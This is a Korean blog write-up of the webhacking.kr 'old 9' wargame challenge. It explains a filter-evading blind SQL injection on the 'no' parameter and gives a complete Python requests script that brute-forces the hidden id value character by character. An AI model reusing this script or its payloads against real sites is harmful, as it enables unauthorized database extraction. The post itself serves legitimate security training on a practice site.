본문 바로가기
2. Information Security/3. War Game

웹해킹 9번 (webhacking.kr old 9)

by H232C 2019. 10. 30.

1. 공격 유형 : BLIND SQL INJECTION

2. 취약점 환경 : no값에 BLIND SQL INJECTION 수행

3. Write Up

Challenge 9 첫화면
1번 선택시 'Apple' 출력
2번 선택시 'Banana' 출력
3번 선택시 Hint 출력

ㅇ 공격 포인트 

 - No 3번의 id 컬럼이 DB에 존재한다고 추측

 - No 3번의 id 컬럼을 확인하기 위해 SQL INJECTION 수행

 

ㅇ 공격 수행

+ 필터링 확인
'if' 문구는 필터링하지 않으나 '=' 문구는 필터링됨
필터링 통과 문구 : 'if', 'like', 'in', '(', ')'
 필터링 통과 문구 : 'substr' / 'ascii' 필터링 확인

- SQL 쿼리를 분석해보면 no 파라미터에 숫자를 전달하면 DB에서 해당 no의 id값을 출력해주는 형태로 no 3값의 id를 출력해야 하고 이를 진행하기 위해 if문 구조의 BLIND INJECTION 수행이 필요함

 

- BLIND INJECTION의 경우 반복으로 값을 요청해야하기 때문에 Python(3.x) 버전의 Reuqests를 이용하여 코드 공격 코드 생성

import requests
s = requests.Session()

proxyList = {'http':'127.0.0.1:8000',
             'https':'127.0.0.1:8000'}

def login():
    
    url = 'https://webhacking.kr/login.php?login'
    login = {'id':'계정명',
             'pw':'패스워드'}

    response = s.post(url, data=login, proxies=proxyList, verify=False)
    response.status_code
    print (response.text)

def payload():
    
    login(); TrustKey = "Secret" ; code=''
    for i in range(1,20):
        url = "https://webhacking.kr/challenge/web-09/?no=if(length(id)in({}),3,0)".format(str(i))
        response = s.get(url, proxies=proxyList, verify=False)
        response.status_code
        res = response.text
        leng = i
    
        if(res.find(TrustKey)!=-1):
            print ("[-] Find Out Length Of ID : {}".format(str(leng)))
            break
            
    for i in range(1,leng+1):
        for j in range(65, 128):
            url = "https://webhacking.kr/challenge/web-09/?no=if(substr(id,{},1)in('{}'),3,0)".format(str(i),chr(j))
            response = s.get(url, proxies=proxyList, verify=False)
            response.status_code
            res = response.text
            
            if(res.find(TrustKey)!=-1):
                code = code + str(chr(j))
                print ("[-] Find Out Of ID : {}".format(str(code)))
                break
    
    print (code)
            
payload()

ㅇ 코드설명

 - rquests.Session() 생성으로 로그인 세션을 유지할 수 있도록 함

 - login() 함수 내에서 id/pw를 입력하여 post값으로 로그인 수행

 - payload() 함수 내에서 if(length(id)in(i),3,0) 값으로 페이로드 입력

 - if문의 경우 length의 길이가 i값과 동일하게될 경우 하위의 if문 동작하게 함

 - SQL 특성상 페이로드 If문이 참일경우 no 컬럼의 3번값을 출력 (만약 참의값을 1로 지정시 1에 해당하는 값 출력)

 - 두번째 for 문에서 실제 id값을 알아내기 위한 BLIND INJECTION 수행 

댓글